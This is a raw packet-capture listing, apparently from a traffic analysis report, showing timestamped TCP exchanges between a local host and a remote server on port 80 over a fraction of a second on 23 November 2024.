Nov 23, 2024 20:23:19.357511044 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.360065937 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.360246897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.360300064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.361079931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.361248016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.361294031 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.361900091 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.362035990 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.362080097 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.362602949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.362648010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.362711906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.363974094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.364029884 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.364073992 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.364671946 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.365370989 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.365457058 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.365505934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.366724968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.366764069 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.366816998 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.368144035 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.368187904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.368400097 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.369507074 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.369565964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.369617939 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.369648933 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.369688988 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.371007919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.371074915 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.371109009 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.372282982 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.372342110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.372386932 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.373034954 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.373677015 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.373810053 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.373811007 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.373935938 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.375102997 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.375348091 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.375413895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.376442909 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.376560926 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.376607895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.377851963 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.377917051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.377979994 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.379223108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.379271030 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.379340887 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.379553080 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.380597115 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.380656958 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.380690098 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.380733013 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.381989956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.382097960 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.382143974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.385999918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.386015892 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.386030912 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.386046886 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.386080980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.386133909 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.386759043 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.386806011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.386928082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.388250113 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.388328075 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.388442993 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.388704062 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.389693975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.389709949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.389771938 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.390867949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.391201973 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.391261101 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.392298937 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.392642021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.392689943 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.393804073 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.393966913 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.394025087 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.395037889 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.395082951 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.395610094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.396519899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.396576881 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.396668911 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.397516012 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.397955894 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.398118973 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.398165941 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.399235010 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.399389029 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.399440050 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.400690079 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.400849104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.400906086 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.402120113 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.402136087 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.402177095 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.402226925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.403424978 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.403477907 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.403610945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.404153109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.404206991 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.404321909 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.405520916 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.406634092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.406932116 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.406991005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.408061028 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.408076048 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.408133984 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.446683884 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.446698904 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.446722031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.446741104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.446768999 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.446769953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.446794987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.446795940 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.446811914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.446832895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.446851015 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.447537899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.447554111 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.447583914 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.447617054 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.449048042 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.449064016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.449112892 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.450333118 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.450485945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.450535059 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.451334000 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.451641083 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.451689005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.452730894 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.452745914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.452800989 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.454051018 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.454215050 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.454257011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.455502033 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.455662012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.455709934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.456963062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.457017899 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.457132101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.457345963 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.458383083 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.458395958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.458456993 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.458456993 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.519022942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.519040108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.519103050 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.519145966 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.519432068 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.519448042 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.519493103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.519526005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.520340919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.520392895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.520414114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.520462036 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.521754026 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.521814108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.521862984 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.521909952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.523183107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.523237944 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.523346901 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.523401976 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.524506092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.524574041 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.524647951 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.524701118 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.525873899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.525932074 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.525990009 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.526103020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.527334929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.527390003 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.527422905 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.527471066 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.528676987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.528750896 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.528801918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.528866053 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.530040979 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.530095100 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.530143976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.530191898 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.531438112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.531490088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.531542063 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.531599045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.532834053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.532891035 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.532932997 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.532979965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.534169912 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.534220934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.534286976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.534357071 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.535547972 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.535619974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.535693884 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.535743952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.536971092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.537053108 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.537100077 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.537151098 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.538382053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.538460016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.538487911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.538548946 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.539716959 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.539768934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.539825916 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.539876938 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.541100979 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.541156054 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.541205883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.541368961 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.542491913 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.542546034 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.542613983 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.542664051 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.543903112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.543957949 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.544003963 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.544064045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.545293093 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.545309067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.545356035 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.546668053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.546756029 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.546813965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.557987928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.558043003 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.558092117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.558142900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.558471918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.558540106 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.558583975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.558731079 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.559904099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.559967995 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.559977055 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.560025930 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.561245918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.561295986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.561379910 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.561439037 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.562680006 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.562728882 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.563216925 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.563261986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.564038992 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.564148903 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.564160109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.564207077 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.565413952 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.565464020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.565524101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.565596104 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.566772938 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.566816092 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.566883087 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.566937923 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.568171024 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.568314075 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.568315983 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.568353891 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.569576979 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.569628000 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.569679976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.569734097 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.570691109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.570741892 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.570801020 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.570875883 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.571379900 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.571500063 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.571501017 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.571551085 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.572043896 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.572093010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.572123051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.572165012 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.572803020 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.572835922 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.572853088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.572885036 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.573450089 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.573502064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.573517084 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.573568106 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.574021101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.574075937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.574124098 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.574176073 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.574688911 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.574755907 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.574800968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.574863911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.575386047 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.575436115 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.575506926 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.575567961 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.576018095 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.576071024 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.576116085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.576172113 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.576679945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.576729059 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.576771021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.576828957 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.577369928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.577472925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.577492952 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.577552080 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.578057051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.578145981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.578162909 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.578211069 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.578666925 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.578716993 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.578818083 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.578871965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.579341888 CET	80	49783	185.215.113.16	192.168.2.4
